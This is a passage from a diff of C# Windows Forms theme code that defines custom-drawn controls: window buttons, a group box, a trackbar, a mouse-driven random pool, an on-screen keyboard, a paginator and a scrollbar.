Invalidate(); + } + } + + public NSControlButton() + { + SetStyle((ControlStyles)139286, true); + SetStyle(ControlStyles.Selectable, false); + + Anchor = AnchorStyles.Top | AnchorStyles.Right; + + Width = 18; + Height = 20; + + MinimumSize = Size; + MaximumSize = Size; + + Margin = new Padding(0); + } + + private Graphics G; + protected override void OnPaint(PaintEventArgs e) + { + G = e.Graphics; + G.Clear(BackColor); + + switch (_ControlButton) + { + case Button.Minimize: + DrawMinimize(3, 10); + break; + case Button.MaximizeRestore: + if (FindForm().WindowState == FormWindowState.Normal) + { + DrawMaximize(3, 5); + } + else + { + DrawRestore(3, 4); + } + break; + case Button.Close: + DrawClose(4, 5); + break; + } + } + + private void DrawMinimize(int x, int y) + { + G.FillRectangle(Brushes.Cyan, x, y, 12, 5); + G.DrawRectangle(Pens.Black, x, y, 11, 4); + } + + private void DrawMaximize(int x, int y) + { + G.DrawRectangle(new Pen(Color.Cyan, 2), x + 2, y + 2, 8, 6); + G.DrawRectangle(Pens.Black, x, y, 11, 9); + G.DrawRectangle(Pens.Black, x + 3, y + 3, 5, 3); + } + + private void DrawRestore(int x, int y) + { + G.FillRectangle(Brushes.Cyan, x + 3, y + 1, 8, 4); + G.FillRectangle(Brushes.Cyan, x + 7, y + 5, 4, 4); + G.DrawRectangle(Pens.Black, x + 2, y + 0, 9, 9); + + G.FillRectangle(Brushes.Cyan, x + 1, y + 3, 2, 6); + G.FillRectangle(Brushes.Cyan, x + 1, y + 9, 8, 2); + G.DrawRectangle(Pens.Black, x, y + 2, 9, 9); + G.DrawRectangle(Pens.Black, x + 3, y + 5, 3, 3); + } + + private GraphicsPath ClosePath; + private void DrawClose(int x, int y) + { + if (ClosePath == null) + { + ClosePath = new GraphicsPath(); + ClosePath.AddLine(x + 1, y, x + 3, y); + ClosePath.AddLine(x + 5, y + 2, x + 7, y); + ClosePath.AddLine(x + 9, y, x + 10, y + 1); + ClosePath.AddLine(x + 7, y + 4, x + 7, y + 5); + ClosePath.AddLine(x + 10, y + 8, x + 9, y + 9); + ClosePath.AddLine(x + 7, y + 9, x + 5, y + 7); + ClosePath.AddLine(x + 3, y + 9, x + 1, y + 9); + ClosePath.AddLine(x + 0, y + 8, x + 3, y + 5); + ClosePath.AddLine(x + 3, y + 4, x + 0, y + 1); + } + + G.FillPath(Brushes.Cyan, ClosePath); + G.DrawPath(Pens.Black, ClosePath); + } + + protected override void OnMouseClick(MouseEventArgs e) + { + + if (e.Button == System.Windows.Forms.MouseButtons.Left) + { + Form F = FindForm(); + + switch (_ControlButton) + { + case Button.Minimize: + F.WindowState = FormWindowState.Minimized; + break; + case Button.MaximizeRestore: + if (F.WindowState == FormWindowState.Normal) + { + F.WindowState = FormWindowState.Maximized; + } + else + { + F.WindowState = FormWindowState.Normal; + } + break; + case Button.Close: + F.Close(); + break; + } + + } + + Invalidate(); + base.OnMouseClick(e); + } + +} + +class NSGroupBox : ContainerControl +{ + + private bool _DrawSeperator; + public bool DrawSeperator + { + get { return _DrawSeperator; } + set + { + _DrawSeperator = value; + Invalidate(); + } + } + + private string _Title = "GroupBox"; + public string Title + { + get { return _Title; } + set + { + _Title = value; + Invalidate(); + } + } + + private string _SubTitle = "Details"; + public string SubTitle + { + get { return _SubTitle; } + set + { + _SubTitle = value; + Invalidate(); + } + } + + private Font _TitleFont; + + private Font _SubTitleFont; + public NSGroupBox() + { + SetStyle((ControlStyles)139286, true); + SetStyle(ControlStyles.Selectable, false); + + _TitleFont = new Font("Verdana", 10f); + _SubTitleFont = new Font("Verdana", 6.5f); + + P1 = new Pen(Color.FromArgb(35, 35, 35)); + P2 = new Pen(Color.FromArgb(55, 55, 55)); + + B1 = new SolidBrush(Color.FromArgb(205, 150, 0)); + } + + private GraphicsPath GP1; + + private GraphicsPath GP2; + private PointF PT1; + private SizeF SZ1; + + private SizeF SZ2; + private Pen P1; + private Pen P2; + + private SolidBrush B1; + private Graphics G; + + protected override void OnPaint(PaintEventArgs e) + { + G = e.Graphics; + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; + + G.Clear(BackColor); + G.SmoothingMode = SmoothingMode.AntiAlias; + + GP1 = ThemeModule.CreateRound(0, 0, Width - 1, Height - 1, 7); + GP2 = ThemeModule.CreateRound(1, 1, Width - 3, Height - 3, 7); + + G.DrawPath(P1, GP1); + G.DrawPath(P2, GP2); + + SZ1 = G.MeasureString(_Title, _TitleFont, Width, StringFormat.GenericTypographic); + SZ2 = G.MeasureString(_SubTitle, _SubTitleFont, Width, StringFormat.GenericTypographic); + + G.DrawString(_Title, _TitleFont, Brushes.Black, 6, 6); + G.DrawString(_Title, _TitleFont, B1, 5, 5); + + PT1 = new PointF(6f, SZ1.Height + 4f); + + G.DrawString(_SubTitle, _SubTitleFont, Brushes.Black, PT1.X + 1, PT1.Y + 1); + G.DrawString(_SubTitle, _SubTitleFont, Brushes.Cyan, PT1.X, PT1.Y); + + if (_DrawSeperator) + { + int Y = Convert.ToInt32(PT1.Y + SZ2.Height) + 8; + + G.DrawLine(P1, 4, Y, Width - 5, Y); + G.DrawLine(P2, 4, Y + 1, Width - 5, Y + 1); + } + } + +} + +class NSSeperator : Control +{ + + public NSSeperator() + { + SetStyle((ControlStyles)139286, true); + SetStyle(ControlStyles.Selectable, false); + + Height = 10; + + P1 = new Pen(Color.FromArgb(35, 35, 35)); + P2 = new Pen(Color.FromArgb(55, 55, 55)); + } + + private Pen P1; + + private Pen P2; + private Graphics G; + + protected override void OnPaint(PaintEventArgs e) + { + G = e.Graphics; + G.Clear(BackColor); + + G.DrawLine(P1, 0, 5, Width, 5); + G.DrawLine(P2, 0, 6, Width, 6); + } + +} + +[DefaultEvent("Scroll")] +class NSTrackBar : Control +{ + + public event ScrollEventHandler Scroll; + public delegate void ScrollEventHandler(object sender); + + private int _Minimum; + public int Minimum + { + get { return _Minimum; } + set + { + if (value < 0) + { + throw new Exception("Property value is not valid."); + } + + _Minimum = value; + if (value > _Value) + _Value = value; + if (value > _Maximum) + _Maximum = value; + Invalidate(); + } + } + + private int _Maximum = 10; + public int Maximum + { + get { return _Maximum; } + set + { + if (value < 0) + { + throw new Exception("Property value is not valid."); + } + + _Maximum = value; + if (value < _Value) + _Value = value; + if (value < _Minimum) + _Minimum = value; + Invalidate(); + } + } + + private int _Value; + public int Value + { + get { return _Value; } + set + { + if (value == _Value) + return; + + if (value > _Maximum || value < _Minimum) + { + throw new Exception("Property value is not valid."); + } + + _Value = value; + Invalidate(); + + if (Scroll != null) + { + Scroll(this); + } + } + } + + public NSTrackBar() + { + SetStyle((ControlStyles)139286, true); + SetStyle(ControlStyles.Selectable, false); + + Height = 17; + + P1 = new Pen(Color.FromArgb(150, 110, 0), 2); + P2 = new Pen(Color.FromArgb(55, 55, 55)); + P3 = new Pen(Color.FromArgb(35, 35, 35)); + P4 = new Pen(Color.FromArgb(65, 65, 65)); + } + + private GraphicsPath GP1; + private GraphicsPath GP2; + private GraphicsPath GP3; + + private GraphicsPath GP4; + private Rectangle R1; + private Rectangle R2; + private Rectangle R3; + + private int I1; + private Pen P1; + private Pen P2; + private Pen P3; + + private Pen P4; + private LinearGradientBrush GB1; + private LinearGradientBrush GB2; + + private LinearGradientBrush GB3; + private Graphics G; + + protected override void OnPaint(System.Windows.Forms.PaintEventArgs e) + { + G = e.Graphics; + + G.Clear(BackColor); + G.SmoothingMode = SmoothingMode.AntiAlias; + + GP1 = ThemeModule.CreateRound(0, 5, Width - 1, 10, 5); + GP2 = ThemeModule.CreateRound(1, 6, Width - 3, 8, 5); + + R1 = new Rectangle(0, 7, Width - 1, 5); + GB1 = new LinearGradientBrush(R1, Color.FromArgb(45, 45, 45), Color.FromArgb(50, 50, 50), 90f); + + I1 = Convert.ToInt32((double)(_Value - _Minimum) / (double)(_Maximum - _Minimum) * (Width - 11)); + R2 = new Rectangle(I1, 0, 10, 20); + + G.SetClip(GP2); + G.FillRectangle(GB1, R1); + + R3 = new Rectangle(1, 7, R2.X + R2.Width - 2, 8); + GB2 = new LinearGradientBrush(R3, Color.FromArgb(205, 150, 0), Color.FromArgb(150, 110, 0), 90f); + + G.SmoothingMode = SmoothingMode.None; + G.FillRectangle(GB2, R3); + G.SmoothingMode = SmoothingMode.AntiAlias; + + for (int I = 0; I <= R3.Width - 15; I += 5) + { + G.DrawLine(P1, I, 0, I + 15, Height); + } + + G.ResetClip(); + + G.DrawPath(P2, GP1); + G.DrawPath(P3, GP2); + + GP3 = ThemeModule.CreateRound(R2, 5); + GP4 = ThemeModule.CreateRound(R2.X + 1, R2.Y + 1, R2.Width - 2, R2.Height - 2, 5); + GB3 = new LinearGradientBrush(ClientRectangle, Color.FromArgb(60, 60, 60), Color.FromArgb(55, 55, 55), 90f); + + G.FillPath(GB3, GP3); + G.DrawPath(P3, GP3); + G.DrawPath(P4, GP4); + } + + private bool TrackDown; + protected override void OnMouseDown(MouseEventArgs e) + { + if (e.Button == System.Windows.Forms.MouseButtons.Left) + { + I1 = Convert.ToInt32((double)(_Value - _Minimum) / (double)(_Maximum - _Minimum) * (Width - 11)); + R2 = new Rectangle(I1, 0, 10, 20); + + TrackDown = R2.Contains(e.Location); + } + + base.OnMouseDown(e); + } + + protected override void OnMouseMove(MouseEventArgs e) + { + if (TrackDown && e.X > -1 && e.X < (Width + 1)) + { + Value = _Minimum + Convert.ToInt32((_Maximum - _Minimum) * ((double)e.X / (double)Width)); + } + + base.OnMouseMove(e); + } + + protected override void OnMouseUp(MouseEventArgs e) + { + TrackDown = false; + base.OnMouseUp(e); + } + +} + +[DefaultEvent("ValueChanged")] +class NSRandomPool : Control +{ + + public event ValueChangedEventHandler ValueChanged; + public delegate void ValueChangedEventHandler(object sender); + + private StringBuilder _Value = new StringBuilder(); + public string Value + { + get { return _Value.ToString(); } + } + + public string FullValue + { + get { return BitConverter.ToString(Table).Replace("-", ""); } + } + + + private Random RNG = new Random(); + private int ItemSize = 9; + + private int DrawSize = 8; + + private Rectangle WA; + private int RowSize; + + private int ColumnSize; + public NSRandomPool() + { + SetStyle((ControlStyles)139286, true); + SetStyle(ControlStyles.Selectable, false); + + P1 = new Pen(Color.FromArgb(55, 55, 55)); + P2 = new Pen(Color.FromArgb(35, 35, 35)); + + B1 = new SolidBrush(Color.FromArgb(30, 30, 30)); + } + + protected override void OnHandleCreated(EventArgs e) + { + UpdateTable(); + base.OnHandleCreated(e); + } + + private byte[] Table; + private void UpdateTable() + { + WA = new Rectangle(5, 5, Width - 10, Height - 10); + + RowSize = WA.Width / ItemSize; + ColumnSize = WA.Height / ItemSize; + + WA.Width = RowSize * ItemSize; + WA.Height = ColumnSize * ItemSize; + + WA.X = (Width / 2) - (WA.Width / 2); + WA.Y = (Height / 2) - (WA.Height / 2); + + Table = new byte[(RowSize * ColumnSize)]; + + for (int I = 0; I <= Table.Length - 1; I++) + { + Table[I] = Convert.ToByte(RNG.Next(100)); + } + + Invalidate(); + } + + protected override void OnSizeChanged(EventArgs e) + { + UpdateTable(); + } + + private int Index1 = -1; + + private int Index2; + + private bool InvertColors; + protected override void OnMouseMove(MouseEventArgs e) + { + HandleDraw(e); + } + + protected override void OnMouseDown(MouseEventArgs e) + { + HandleDraw(e); + base.OnMouseDown(e); + } + + private void HandleDraw(MouseEventArgs e) + { + if (e.Button == System.Windows.Forms.MouseButtons.Left || e.Button == System.Windows.Forms.MouseButtons.Right) + { + if (!WA.Contains(e.Location)) + return; + + InvertColors = (e.Button == System.Windows.Forms.MouseButtons.Right); + + Index1 = GetIndex(e.X, e.Y); + if (Index1 == Index2) + return; + + bool L = !(Index1 % RowSize == 0); + bool R = !(Index1 % RowSize == (RowSize - 1)); + + Randomize(Index1 - RowSize); + if (L) + Randomize(Index1 - 1); + Randomize(Index1); + if (R) + Randomize(Index1 + 1); + Randomize(Index1 + RowSize); + + _Value.Append(Table[Index1].ToString("X")); + if (_Value.Length > 32) + _Value.Remove(0, 2); + + if (ValueChanged != null) + { + ValueChanged(this); + } + + Index2 = Index1; + Invalidate(); + } + } + + private GraphicsPath GP1; + + private GraphicsPath GP2; + private Pen P1; + private Pen P2; + private SolidBrush B1; + + private SolidBrush B2; + + private PathGradientBrush PB1; + private Graphics G; + + protected override void OnPaint(PaintEventArgs e) + { + G = e.Graphics; + + G.Clear(BackColor); + G.SmoothingMode = SmoothingMode.AntiAlias; + + GP1 = ThemeModule.CreateRound(0, 0, Width - 1, Height - 1, 7); + GP2 = ThemeModule.CreateRound(1, 1, Width - 3, Height - 3, 7); + + PB1 = new PathGradientBrush(GP1); + PB1.CenterColor = Color.FromArgb(50, 50, 50); + PB1.SurroundColors = new Color[]{ Color.FromArgb(45, 45, 45) }; + PB1.FocusScales = new PointF(0.9f, 0.5f); + + G.FillPath(PB1, GP1); + + G.DrawPath(P1, GP1); + G.DrawPath(P2, GP2); + + G.SmoothingMode = SmoothingMode.None; + + for (int I = 0; I <= Table.Length - 1; I++) { + int C = Math.Max(Table[I], (byte)75); + + int X = ((I % RowSize) * ItemSize) + WA.X; + int Y = ((I / RowSize) * ItemSize) + WA.Y; + + B2 = new SolidBrush(Color.FromArgb(C, C, C)); + + G.FillRectangle(B1, X + 1, Y + 1, DrawSize, DrawSize); + G.FillRectangle(B2, X, Y, DrawSize, DrawSize); + + B2.Dispose(); + } + + } + + private int GetIndex(int x, int y) + { + return (((y - WA.Y) / ItemSize) * RowSize) + ((x - WA.X) / ItemSize); + } + + private void Randomize(int index) + { + if (index > -1 && index < Table.Length) + { + if (InvertColors) + { + Table[index] = Convert.ToByte(RNG.Next(100)); + } + else + { + Table[index] = Convert.ToByte(RNG.Next(100, 256)); + } + } + } + +} + +class NSKeyboard : Control +{ + + private Bitmap TextBitmap; + + private Graphics TextGraphics; + const string LowerKeys = "1234567890-=qwertyuiop[]asdfghjkl\\;'zxcvbnm,./`"; + + const string UpperKeys = "!@#$%^&*()_+QWERTYUIOP{}ASDFGHJKL|:\"ZXCVBNM<>?~"; + public NSKeyboard() + { + SetStyle((ControlStyles)139286, true); + SetStyle(ControlStyles.Selectable, false); + + Font = new Font("Verdana", 8.25f); + + TextBitmap = new Bitmap(1, 1); + TextGraphics = Graphics.FromImage(TextBitmap); + + MinimumSize = new Size(386, 162); + MaximumSize = new Size(386, 162); + + Lower = LowerKeys.ToCharArray(); + Upper = UpperKeys.ToCharArray(); + + PrepareCache(); + + P1 = new Pen(Color.FromArgb(45, 45, 45)); + P2 = new Pen(Color.FromArgb(65, 65, 65)); + P3 = new Pen(Color.FromArgb(35, 35, 35)); + + B1 = new SolidBrush(Color.FromArgb(100, 100, 100)); + } + + private Control _Target; + public Control Target + { + get { return _Target; } + set { _Target = value; } + } + + + private bool Shift; + private int Pressed = -1; + + private Rectangle[] Buttons; + private char[] Lower; + private char[] Upper; + private string[] Other = { + "Shift", + "Space", + "Back" + + }; + private PointF[] UpperCache; + + private PointF[] LowerCache; + private void PrepareCache() + { + Buttons = new Rectangle[51]; + UpperCache = new PointF[Upper.Length]; + LowerCache = new PointF[Lower.Length]; + + int I = 0; + + SizeF S = default(SizeF); + Rectangle R = default(Rectangle); + + for (int Y = 0; Y <= 3; Y++) + { + for (int X = 0; X <= 11; X++) + { + I = (Y * 12) + X; + R = new Rectangle(X * 32, Y * 32, 32, 32); + + Buttons[I] = R; + + if (!(I == 47) && !char.IsLetter(Upper[I])) + { + S = TextGraphics.MeasureString(Upper[I].ToString(), Font); + UpperCache[I] = new PointF(R.X + (R.Width / 2 - S.Width / 2), R.Y + R.Height - S.Height - 2); + + S = TextGraphics.MeasureString(Lower[I].ToString(), Font); + LowerCache[I] = new PointF(R.X + (R.Width / 2 - S.Width / 2), R.Y + R.Height - S.Height - 2); + } + } + } + + Buttons[48] = new Rectangle(0, 4 * 32, 2 * 32, 32); + Buttons[49] = new Rectangle(Buttons[48].Right, 4 * 32, 8 * 32, 32); + Buttons[50] = new Rectangle(Buttons[49].Right, 4 * 32, 2 * 32, 32); + } + + + private GraphicsPath GP1; + private SizeF SZ1; + + private PointF PT1; + private Pen P1; + private Pen P2; + private Pen P3; + + private SolidBrush B1; + private PathGradientBrush PB1; + + private LinearGradientBrush GB1; + private Graphics G; + protected override void OnPaint(System.Windows.Forms.PaintEventArgs e) + { + G = e.Graphics; + G.TextRenderingHint = TextRenderingHint.ClearTypeGridFit; + + G.Clear(BackColor); + + Rectangle R = default(Rectangle); + + int Offset = 0; + G.DrawRectangle(P1, 0, 0, (12 * 32) + 1, (5 * 32) + 1); + + for (int I = 0; I <= Buttons.Length - 1; I++) { + R = Buttons[I]; + + Offset = 0; + if (I == Pressed) { + Offset = 1; + + GP1 = new GraphicsPath(); + GP1.AddRectangle(R); + + PB1 = new PathGradientBrush(GP1); + PB1.CenterColor = Color.FromArgb(60, 60, 60); + PB1.SurroundColors = new Color[]{ Color.FromArgb(55, 55, 55) }; + PB1.FocusScales = new PointF(0.8f, 0.5f); + + G.FillPath(PB1, GP1); + } else { + GB1 = new LinearGradientBrush(R, Color.FromArgb(60, 60, 60), Color.FromArgb(55, 55, 55), 90f); + G.FillRectangle(GB1, R); + } + + switch (I) { + case 48: + case 49: + case 50: + SZ1 = G.MeasureString(Other[I - 48], Font); + G.DrawString(Other[I - 48], Font, Brushes.Black, R.X + (R.Width / 2 - SZ1.Width / 2) + Offset + 1, R.Y + (R.Height / 2 - SZ1.Height / 2) + Offset + 1); + G.DrawString(Other[I - 48], Font, Brushes.Cyan, R.X + (R.Width / 2 - SZ1.Width / 2) + Offset, R.Y + (R.Height / 2 - SZ1.Height / 2) + Offset); + break; + case 47: + DrawArrow(Color.Black, R.X + Offset + 1, R.Y + Offset + 1); + DrawArrow(Color.Cyan, R.X + Offset, R.Y + Offset); + break; + default: + if (Shift) { + G.DrawString(Upper[I].ToString(), Font, Brushes.Black, R.X + 3 + Offset + 1, R.Y + 2 + Offset + 1); + G.DrawString(Upper[I].ToString(), Font, Brushes.Cyan, R.X + 3 + Offset, R.Y + 2 + Offset); + + if (!char.IsLetter(Lower[I])) { + PT1 = LowerCache[I]; + G.DrawString(Lower[I].ToString(), Font, B1, PT1.X + Offset, PT1.Y + Offset); + } + } else { + G.DrawString(Lower[I].ToString(), Font, Brushes.Black, R.X + 3 + Offset + 1, R.Y + 2 + Offset + 1); + G.DrawString(Lower[I].ToString(), Font, Brushes.Cyan, R.X + 3 + Offset, R.Y + 2 + Offset); + + if (!char.IsLetter(Upper[I])) { + PT1 = UpperCache[I]; + G.DrawString(Upper[I].ToString(), Font, B1, PT1.X + Offset, PT1.Y + Offset); + } + } + break; + } + + G.DrawRectangle(P2, R.X + 1 + Offset, R.Y + 1 + Offset, R.Width - 2, R.Height - 2); + G.DrawRectangle(P3, R.X + Offset, R.Y + Offset, R.Width, R.Height); + + if (I == Pressed) { + G.DrawLine(P1, R.X, R.Y, R.Right, R.Y); + G.DrawLine(P1, R.X, R.Y, R.X, R.Bottom); + } + } + } + + private void DrawArrow(Color color, int rx, int ry) + { + Rectangle R = new Rectangle(rx + 8, ry + 8, 16, 16); + G.SmoothingMode = SmoothingMode.AntiAlias; + + Pen P = new Pen(color, 1); + AdjustableArrowCap C = new AdjustableArrowCap(3, 2); + P.CustomEndCap = C; + + G.DrawArc(P, R, 0f, 290f); + + P.Dispose(); + C.Dispose(); + G.SmoothingMode = SmoothingMode.None; + } + + protected override void OnMouseDown(MouseEventArgs e) + { + int Index = ((e.Y / 32) * 12) + (e.X / 32); + + if (Index > 47) + { + for (int I = 48; I <= Buttons.Length - 1; I++) + { + if (Buttons[I].Contains(e.X, e.Y)) + { + Pressed = I; + break; // TODO: might not be correct. Was : Exit For + } + } + } + else + { + Pressed = Index; + } + + HandleKey(); + Invalidate(); + } + + protected override void OnMouseUp(MouseEventArgs e) + { + Pressed = -1; + Invalidate(); + } + + private void HandleKey() + { + if (_Target == null) + return; + if (Pressed == -1) + return; + + switch (Pressed) + { + case 47: + _Target.Text = string.Empty; + break; + case 48: + Shift = !Shift; + break; + case 49: + _Target.Text += " "; + break; + case 50: + if (!(_Target.Text.Length == 0)) + { + _Target.Text = _Target.Text.Remove(_Target.Text.Length - 1); + } + break; + default: + if (Shift) + { + _Target.Text += Upper[Pressed]; + } + else + { + _Target.Text += Lower[Pressed]; + } + break; + } + } + +} + +[DefaultEvent("SelectedIndexChanged")] +class NSPaginator : Control +{ + + public event SelectedIndexChangedEventHandler SelectedIndexChanged; + public delegate void SelectedIndexChangedEventHandler(object sender, EventArgs e); + + private Bitmap TextBitmap; + + private Graphics TextGraphics; + public NSPaginator() + { + SetStyle((ControlStyles)139286, true); + SetStyle(ControlStyles.Selectable, false); + + Size = new Size(202, 26); + + TextBitmap = new Bitmap(1, 1); + TextGraphics = Graphics.FromImage(TextBitmap); + + InvalidateItems(); + + B1 = new SolidBrush(Color.FromArgb(50, 50, 50)); + B2 = new SolidBrush(Color.FromArgb(55, 55, 55)); + + P1 = new Pen(Color.FromArgb(35, 35, 35)); + P2 = new Pen(Color.FromArgb(55, 55, 55)); + P3 = new Pen(Color.FromArgb(65, 65, 65)); + } + + private int _SelectedIndex; + public int SelectedIndex + { + get { return _SelectedIndex; } + set + { + _SelectedIndex = Math.Max(Math.Min(value, MaximumIndex), 0); + Invalidate(); + } + } + + private int _NumberOfPages; + public int NumberOfPages + { + get { return _NumberOfPages; } + set + { + _NumberOfPages = value; + _SelectedIndex = Math.Max(Math.Min(_SelectedIndex, MaximumIndex), 0); + Invalidate(); + } + } + + public int MaximumIndex + { + get { return NumberOfPages - 1; } + } + + + private int ItemWidth; + public override Font Font + { + get { return base.Font; } + set + { + base.Font = value; + + InvalidateItems(); + Invalidate(); + } + } + + private void InvalidateItems() + { + Size S = TextGraphics.MeasureString("000 ..", Font).ToSize(); + ItemWidth = S.Width + 10; + } + + private GraphicsPath GP1; + + private GraphicsPath GP2; + + private Rectangle R1; + private Size SZ1; + + private Point PT1; + private Pen P1; + private Pen P2; + private Pen P3; + private SolidBrush B1; + + private SolidBrush B2; + private Graphics G; + protected override void OnPaint(System.Windows.Forms.PaintEventArgs e) + { + G = e.Graphics; + G.TextRenderingHint = System.Drawing.Text.TextRenderingHint.ClearTypeGridFit; + + G.Clear(BackColor); + G.SmoothingMode = SmoothingMode.AntiAlias; + + bool LeftEllipse = false; + bool RightEllipse = false; + + if (_SelectedIndex < 4) + { + for (int I = 0; I <= Math.Min(MaximumIndex, 4); I++) + { + RightEllipse = (I == 4) && (MaximumIndex > 4); + DrawBox(I * ItemWidth, I, false, RightEllipse); + } + } + else if (_SelectedIndex > 3 && _SelectedIndex < (MaximumIndex - 3)) + { + for (int I = 0; I <= 4; I++) + { + LeftEllipse = (I == 0); + RightEllipse = (I == 4); + DrawBox(I * ItemWidth, _SelectedIndex + I - 2, LeftEllipse, RightEllipse); + } + } + else + { + for (int I = 0; I <= 4; I++) + { + LeftEllipse = (I == 0) && (MaximumIndex > 4); + DrawBox(I * ItemWidth, MaximumIndex - (4 - I), LeftEllipse, false); + } + } + } + + private void DrawBox(int x, int index, bool leftEllipse, bool rightEllipse) + { + R1 = new Rectangle(x, 0, ItemWidth - 4, Height - 1); + + GP1 = ThemeModule.CreateRound(R1, 7); + GP2 = ThemeModule.CreateRound(R1.X + 1, R1.Y + 1, R1.Width - 2, R1.Height - 2, 7); + + string T = Convert.ToString(index + 1); + + if (leftEllipse) + T = ".. " + T; + if (rightEllipse) + T = T + " .."; + + SZ1 = G.MeasureString(T, Font).ToSize(); + PT1 = new Point(R1.X + (R1.Width / 2 - SZ1.Width / 2), R1.Y + (R1.Height / 2 - SZ1.Height / 2)); + + if (index == _SelectedIndex) + { + G.FillPath(B1, GP1); + + Font F = new Font(Font, FontStyle.Underline); + G.DrawString(T, F, Brushes.Black, PT1.X + 1, PT1.Y + 1); + G.DrawString(T, F, Brushes.Cyan, PT1); + F.Dispose(); + + G.DrawPath(P1, GP2); + G.DrawPath(P2, GP1); + } + else + { + G.FillPath(B2, GP1); + + G.DrawString(T, Font, Brushes.Black, PT1.X + 1, PT1.Y + 1); + G.DrawString(T, Font, Brushes.Cyan, PT1); + + G.DrawPath(P3, GP2); + G.DrawPath(P1, GP1); + } + } + + protected override void OnMouseDown(MouseEventArgs e) + { + if (e.Button == System.Windows.Forms.MouseButtons.Left) + { + int NewIndex = 0; + int OldIndex = _SelectedIndex; + + if (_SelectedIndex < 4) + { + NewIndex = (e.X / ItemWidth); + } + else if (_SelectedIndex > 3 && _SelectedIndex < (MaximumIndex - 3)) + { + NewIndex = (e.X / ItemWidth); + + if (NewIndex == 2) + { + NewIndex = OldIndex; + } + else if (NewIndex < 2) + { + NewIndex = OldIndex - (2 - NewIndex); + } + else if (NewIndex > 2) + { + NewIndex = OldIndex + (NewIndex - 2); + } + } + else + { + NewIndex = MaximumIndex - (4 - (e.X / ItemWidth)); + } + + if ((NewIndex < _NumberOfPages) && (!(NewIndex == OldIndex))) + { + SelectedIndex = NewIndex; + if (SelectedIndexChanged != null) + { + SelectedIndexChanged(this, null); + } + } + } + + base.OnMouseDown(e); + } + +} + +[DefaultEvent("Scroll")] +class NSVScrollBar : Control +{ + + public event ScrollEventHandler Scroll; + public delegate void ScrollEventHandler(object sender); + + private int _Minimum; + public int Minimum + { + get { return _Minimum; } + set + { + if (value < 0) + { + throw new Exception("Property value is not valid."); + } + + _Minimum = value; + if (value > _Value) + _Value = value; + if (value > _Maximum) + _Maximum = value; + + InvalidateLayout(); + } + } + + private int _Maximum = 100; + public int Maximum + { + get { return _Maximum; } + set + { + if (value < 1) + value = 1; + + _Maximum = value; + if (value < _Value) + _Value = value; + if (value < _Minimum) + _Minimum = value; + + InvalidateLayout(); + } + } + + private int _Value; + public int Value + { + get + { + if (!ShowThumb) + return _Minimum; + return _Value; + } + set + { + if (value == _Value) + return; + + if (value > _Maximum || value < _Minimum) + { + throw new Exception("Property value is not valid."); + } + + _Value = value; + InvalidatePosition(); + + if (Scroll != null) + { + Scroll(this); + } + } + } + + public double _Percent { get; set; } + public double Percent + { + get + { + if (!ShowThumb) + return 0; + return GetProgress(); + } + } + + private int _SmallChange = 1; + public int SmallChange + { + get { return _SmallChange; } + set + { + if (value < 1) + { + throw new Exception("Property value is not valid."); + } + + _SmallChange = value; + } + } + + private int _LargeChange = 10; + public int LargeChange + { + get { return _LargeChange; } + set + { + if (value < 1) + { + throw new Exception("Property value is not valid."); + } + + _LargeChange = value; + } + } + + private int ButtonSize = 16; + // 14 minimum + private int ThumbSize = 24; + + private Rectangle TSA; + private Rectangle BSA; + private Rectangle Shaft; + + private Rectangle Thumb; + private bool ShowThumb; + + private bool ThumbDown; + public NSVScrollBar() + { + SetStyle((ControlStyles)139286, true); + SetStyle(ControlStyles.Selectable, false); + + Width = 18; + + B1 = new SolidBrush(Color.FromArgb(55, 55, 55)); + B2 = new SolidBrush(Color.FromArgb(35, 35, 35)); + + P1 = new Pen(Color.FromArgb(35, 35, 35)); + P2 = new Pen(Color.FromArgb(65, 65, 65)); + P3 = new Pen(Color.FromArgb(55, 55, 55)); + P4 = new Pen(Color.FromArgb(40, 40, 40)); + } + + private GraphicsPath GP1; + private GraphicsPath GP2; + private GraphicsPath GP3; + + private GraphicsPath GP4; + private Pen P1; + private Pen P2; + private Pen P3; + private Pen P4; + private SolidBrush B1; + + private SolidBrush B2; + + int I1; + private Graphics G; + + protected override void OnPaint(System.Windows.Forms.PaintEventArgs e) + { + G = e.Graphics; + G.Clear(BackColor); + + GP1 = DrawArrow(4, 6, false); + GP2 = DrawArrow(5, 7, false); + + G.FillPath(B1, GP2); + G.FillPath(B2, GP1); + + GP3 = DrawArrow(4, Height - 11, true); + GP4 = DrawArrow(5, Height - 10, true); + + G.FillPath(B1, GP4); + G.FillPath(B2, GP3); + + if (ShowThumb) + { + G.FillRectangle(B1, Thumb); + G.DrawRectangle(P1, Thumb); + G.DrawRectangle(P2, Thumb.X + 1, Thumb.Y + 1, Thumb.Width - 2, Thumb.Height - 2); + + int Y = 0; + int LY = Thumb.Y + (Thumb.Height / 2) - 3; + + for (int I = 0; I <= 2; I++) + { + Y = LY + (I * 3); + + G.DrawLine(P1, Thumb.X + 5, Y, Thumb.Right - 5, Y); + G.DrawLine(P2, Thumb.X + 5, Y + 1, Thumb.Right - 5, Y + 1); + } + } + + G.DrawRectangle(P3, 0, 0, Width - 1, Height - 1); + G.DrawRectangle(P4, 1, 1, Width - 3, Height - 3); + } + + private GraphicsPath DrawArrow(int x, int y, bool flip) + { + GraphicsPath GP = new GraphicsPath(); + + int W = 9; + int H = 5; + + if (flip) + { + GP.AddLine(x + 1, y, x + W + 1, y); + GP.AddLine(x + W, y, x + H, y + H - 1); + } + else + { + GP.AddLine(x, y + H, x + W, y + H); + GP.AddLine(x + W, y + H, x + H, y); + } + + GP.CloseFigure(); + return GP; + } + + protected override void OnSizeChanged(EventArgs e) + { + InvalidateLayout(); + } + + private void InvalidateLayout() + { + TSA = new Rectangle(0, 0, Width, ButtonSize); + BSA = new Rectangle(0, Height - ButtonSize, Width, ButtonSize); + Shaft = new Rectangle(0, TSA.Bottom + 1, Width, Height - (ButtonSize * 2) - 1); + + ShowThumb = ((_Maximum - _Minimum) > Shaft.Height); + + if (ShowThumb) + { + //ThumbSize = Math.Max(0, 14) 'TODO: Implement this. + Thumb = new Rectangle(1, 0, Width - 3, ThumbSize); + } + + if (Scroll != null) + { + Scroll(this); + } + InvalidatePosition(); + } + + private void InvalidatePosition() + { + Thumb.Y = Convert.ToInt32(GetProgress() * (Shaft.Height - ThumbSize)) + TSA.Height; + Invalidate(); + } + + protected override void OnMouseDown(MouseEventArgs e) + { + if (e.Button == System.Windows.Forms.MouseButtons.Left && ShowThumb) + { + if (TSA.Contains(e.Location)) + { + I1 = _Value - _SmallChange; + } + else if 